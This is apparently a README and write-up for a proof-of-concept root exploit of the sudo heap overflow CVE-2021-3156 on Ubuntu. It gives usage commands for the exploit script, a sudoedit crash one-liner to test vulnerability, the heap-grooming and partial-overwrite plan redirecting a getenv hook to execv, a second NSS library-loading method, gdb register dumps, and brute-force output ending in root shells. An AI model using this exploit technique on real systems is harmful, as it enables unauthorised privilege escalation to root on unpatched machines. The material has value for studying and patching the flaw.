This PoC is an exploit for the CVE-2021-3156 sudo vulnerability that affects most linux systems due to a heap-based buffer overflow when ending an argument with a backslash character.
ATTENTION: This is just a Proof of Concept, not a full reliable exploit, so this might only work on very specific versions of both Ubuntu and sudo
For a reliable exploit, an exploit compatible with multiple version should contain their specific offsets and needed inputs.
The Ubuntu and sudo version I am using are listed at the botton of this page.
This exploit takes advantage of the partial overwrite technique to bypass ASLR, but to perform it a bruteforce is required.
To reach code execution aproximately 4096 tries are needed.
Usage:
$ chmod +x ./exp.sh
$ ./exp.sh
To test if your sudo is vulnerable or not, you can test the simple crash PoC:
Vulnerable sudo:
$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
Patched sudo:
$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
The exploit being developed will follow the following scenario:
-
Keep tcache heap holes at the LC_* locale chunks, so when
user_args = malloc(size);
is performed, one of those chunks is returned, allowing us to overwrite the rest of heap chunks from that point -
Search the offset and position of
hooks->u.getenv_fn()
, this will be the function we will use to perform the partial overwrite to redirect control flow to anexecv()
located atsudoers.so
(which is loaded in the memory space) -
Craft the exploit with a bruteforce for the partial overwrite (2 bytes)
lockedbyte@pwn:~$ objdump -D /usr/lib/sudo/sudoers.so -Mintel | grep "<execv"
0000000000008a00 <execv@plt>:
8a04: f2 ff 25 65 55 05 00 bnd jmp QWORD PTR [rip+0x55565] # 5df70 <execv@GLIBC_2.2.5>
17d1a: e8 e1 0c ff ff call 8a00 <execv@plt>
I am actually jumping to 0x8a04
to avoid that NULL byte.
Program received signal SIGSEGV, Segmentation fault.
0x0000555555566502 in ?? ()
rax 0x0 0
rbx 0x555555583650 93824992425552
rcx 0x7 7
rdx 0x4242424242424242 4774451407313060418
rsi 0x7fffffffe770 140737488349040
rdi 0x7ffff797464d 140737347274317
rbp 0x7ffff797464d 0x7ffff797464d
rsp 0x7fffffffe770 0x7fffffffe770
r8 0x7ffff7f61081 140737353486465
r9 0x7fffffffe6d0 140737488348880
r10 0xffffffff 4294967295
r11 0x202 514
r12 0x7fffffffe770 140737488349040
r13 0x7fffffffe7b0 140737488349104
r14 0x7fffffffe818 140737488349208
r15 0x2 2
rip 0x555555566502 0x555555566502
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
=> 0x555555566502: callq *0x8(%rbx)
(gdb) i r rbx
rbx 0x555555583650 93824992425552
(gdb) x/8x 0x555555583650
0x555555583650: 0x42424242 0x42424242 0x42424242 0x42424242
0x555555583660: 0x42424242 0x42424242 0x42424242 0x42424242
(gdb)
Attacker controlled data present in the hooks target struct, allowing us an arbitrary RIP value
gef➤ p execv
$1 = {int (const char *, char * const *)} 0x7ffff7e50450 <execv>
gef➤ p *hook
$2 = {
entries = {
sle_next = 0x0
},
u = {
generic_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
setenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
unsetenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
getenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>,
putenv_fn = 0x7ffff71f7a20 <sudoers_hook_getenv>
},
closure = 0x0
}
gef➤ p hook.u->getenv_fn = 0x7ffff7e50450
$3 = (sudo_hook_fn_getenv_t) 0x7ffff7e50450 <execv>
gef➤ c
Continuing.
process 1759302 is executing new program: /home/lockedbyte/Desktop/exploits/CVE-2021-3156/sudo-1.8.31/SYSTEMD_ONLY_USERDB
Error in re-setting breakpoint 1: No source file named hooks.c.
# id
[Detaching after fork from child process 1759317]
uid=0(root) gid=0(root) groups=0(root)
#
Simulating hijack to execv()
(libc one, not the PLT at sudoers.so)
hook
struct address operated at:
0x555555564ff0 <process_hooks_getenv+64> mov rbx, QWORD PTR [rbx]
0x555555564ff3 <process_hooks_getenv+67> test rbx, rbx
0x555555564ff6 <process_hooks_getenv+70> je 0x55555556500d <process_hooks_getenv+93>
→ 0x555555564ff8 <process_hooks_getenv+72> mov rdx, QWORD PTR [rbx+0x10]
0x555555564ffc <process_hooks_getenv+76> mov rsi, r12
0x555555564fff <process_hooks_getenv+79> mov rdi, rbp
0x555555565002 <process_hooks_getenv+82> call QWORD PTR [rbx+0x8]
0x555555565005 <process_hooks_getenv+85> lea edx, [rax+0x1]
0x555555565008 <process_hooks_getenv+88> and edx, 0xfffffffd
After the development of a working PoC, the partial overwrite was successful:
$rax : 0x0
$rbx : 0x000055607b638b90 → 0x20208a0420002042 ("B "?)
$rcx : 0x7
$rdx : 0x0
$rsp : 0x00007ffcb5b1de58 → 0x0000556079797505 → lea edx, [rax+0x1]
$rbp : 0x00007f1f0bbe564d → "SUDO_EDITOR"
$rsi : 0x00007ffcb5b1de60 → 0x0000000000000000
$rdi : 0x00007f1f0bbe564d → "SUDO_EDITOR"
$rip : 0x7f1f0b008a04
$r8 : 0x00007f1f0c1d2081 → "-> %s @ %s:%d"
$r9 : 0x00007ffcb5b1ddc0 → 0x0000003000000028 ("("?)
$r10 : 0xffffffff
$r11 : 0x202
$r12 : 0x00007ffcb5b1de60 → 0x0000000000000000
$r13 : 0x00007ffcb5b1dea0 → 0x0000000000000000
$r14 : 0x00007ffcb5b1df08 → 0x802a75732b4ae100
$r15 : 0x4
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────
0x00007ffcb5b1de58│+0x0000: 0x0000556079797505 → lea edx, [rax+0x1] ← $rsp
0x00007ffcb5b1de60│+0x0008: 0x0000000000000000 ← $rsi, $r12
0x00007ffcb5b1de68│+0x0010: 0x802a75732b4ae100
0x00007ffcb5b1de70│+0x0018: 0x0000000000000000
0x00007ffcb5b1de78│+0x0020: 0x00007ffcb5b1def0 → 0x00007f1f0bbee9e8 → "../../../plugins/sudoers/rcstr.c"
0x00007ffcb5b1de80│+0x0028: 0x00007f1f0bbe564d → "SUDO_EDITOR"
0x00007ffcb5b1de88│+0x0030: 0x00007ffcb5b1df98 → 0x0000000000000000
0x00007ffcb5b1de90│+0x0038: 0x00007ffcb5b1df08 → 0x802a75732b4ae100
────────────────────────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x7f1f0b008a04
────────────────────────────────────────────────
[#0] Id 1, Name: "sudoedit", stopped 0x7f1f0b008a04 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────
gef➤
As you can see, we successfully got control over RIP partially (2 arbitrary bytes + a NULL): 0x7f1f0b008a04
Those arguments for hook.u->getenv_fn()
can be reused as they are fully compatible with the execv()
ones.
First argument:
$rdi : 0x00007f1f0bbe564d → "SUDO_EDITOR"
rdi
points to a string, which in execv()
coincides with the binary path to be executed
Second argument:
$rsi : 0x00007ffcb5b1de60 → 0x0000000000000000
rsi
points to a place where a NULL pointer is stored, thus being valid for our call.
Fortunately, we accomplish the needed conditions to execute a binary called SUDO_EDITOR
in the same path we are executing the exploit.
Then SUDO_EDITOR
will be the callback that execv()
will execute as root.
Result:
[i] Try 2833
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40278 Segmentation fault ./exploit
[i] Try 2834
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40279 Segmentation fault ./exploit
[i] Try 2835
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40280 Segmentation fault ./exploit
[i] Try 2836
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40281 Segmentation fault ./exploit
[i] Try 2837
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40282 Segmentation fault ./exploit
[i] Try 2838
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40283 Segmentation fault ./exploit
[i] Try 2839
[.] crafting payload...
[.] triggering heap overflow...
./exp.sh: line 3: 40284 Segmentation fault ./exploit
[i] Try 2840
[.] crafting payload...
[.] triggering heap overflow...
[+] callback executed!
[+] we are root!
# id
uid=0(root) gid=0(root) groups=0(root)
#
You can find the PoC for this method by @bl4sty: https://github.com/blasty/CVE-2021-3156.
Also I implemented another one at: nss_exploit/
As the Qualsys advisory says, this method consists on corrupting the ni->library
pointer to satisfy the conditional at nsswitch.c:322
, thus forcing a call to nss_new_service()
to avoid the crash at nsswitch.c:336
.
Then overwrite the systemd\x00
with any string like "X/X", that way:
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
we would be crafting a library name, which will then be passed to __libc_dlopen
.
If we can trick it to load a custom library, it will get loaded and then executed (with root privileges).
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x555555582900) at nsswitch.c:344
344 nsswitch.c: No such file or directory.
(gdb) rax 0x0 0
rbx 0x42424242424242 18650200809816642
rcx 0x55555557f010 93824992407568
rdx 0x0 0
rsi 0x0 0
rdi 0x555555582900 93824992422144
rbp 0x7fffffffe150 0x7fffffffe150
rsp 0x7fffffffe100 0x7fffffffe100
r8 0x55555558d620 93824992466464
r9 0x7fffffffe000 140737488347136
r10 0xffffffff 4294967295
r11 0x0 0
r12 0x555555582900 93824992422144
r13 0x7fffffffe168 140737488347496
r14 0x555555582928 93824992422184
r15 0x55555558d620 93824992466464
rip 0x7ffff7e9f4ee 0x7ffff7e9f4ee <nss_load_library+46>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
(gdb) => 0x7ffff7e9f4ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
Result:
bob@ubuntu-research:~/exploit$ ./exp.sh
[.] crafting payload...
[.] triggering heap overflow...
[+] callback executed!
[+] we are root!
# id
uid=0(root) gid=0(root) groups=0(root),27(sudo),1000(bob)
#
This is just an additional found crash, which seems no useful as we can just change 5 bytes of RIP address
Program received signal SIGSEGV, Segmentation fault.
0x0000004242424242 in ?? ()
rax 0x0 0
rbx 0x555555587140 93824992440640
rcx 0x7 7
rdx 0x0 0
rsi 0x7fffffffe570 140737488348528
rdi 0x7ffff796e64d 140737347249741
rbp 0x7ffff796e64d 0x7ffff796e64d
rsp 0x7fffffffe568 0x7fffffffe568
r8 0x7ffff7f61081 140737353486465
r9 0x7fffffffe4d0 140737488348368
r10 0xffffffff 4294967295
r11 0x202 514
r12 0x7fffffffe570 140737488348528
r13 0x7fffffffe5b0 140737488348592
r14 0x7fffffffe618 140737488348696
r15 0x2 2
rip 0x4242424242 0x4242424242
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
=> 0x4242424242: ./arb_rip_crash.gdb:15: Error in sourced command file:
Cannot access memory at address 0x4242424242
- set_cmnd() -> SIGSEGV (sig 11)
- unlink_chunk() -> SIGSEGV (sig 11)
- __strcmp_avx2() -> SIGSEGV (sig 11)
- __memcmp_avx2_movbe() -> SIGSEGV (sig 11)
- iolog_deserialize_info() -> SIGSEGV (sig 11)
- __tzstring_len() -> SIGSEGV (sig 11)
- _int_free() -> SIGSEGV (sig 11)
- free_members() -> SIGSEGV (sig 11)
- __strcasecmp_l_avx() -> SIGSEGV (sig 11)
- process_hooks_getenv() -> SIGSEGV (sig 11)
- nss_load_library() -> SIGSEGV (sig 11)
...
The tests and develop are being performed:
Ubuntu:
$ uname -a
Linux pwn 5.8.0-38-generic #43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
and
$ uname -a │
Linux ubuntu-pwn 5.4.0-51-generic #56-Ubuntu SMP Mon Oct 5 14:28:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Sudo version:
$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
For more information visit the oficial qualsys advisory.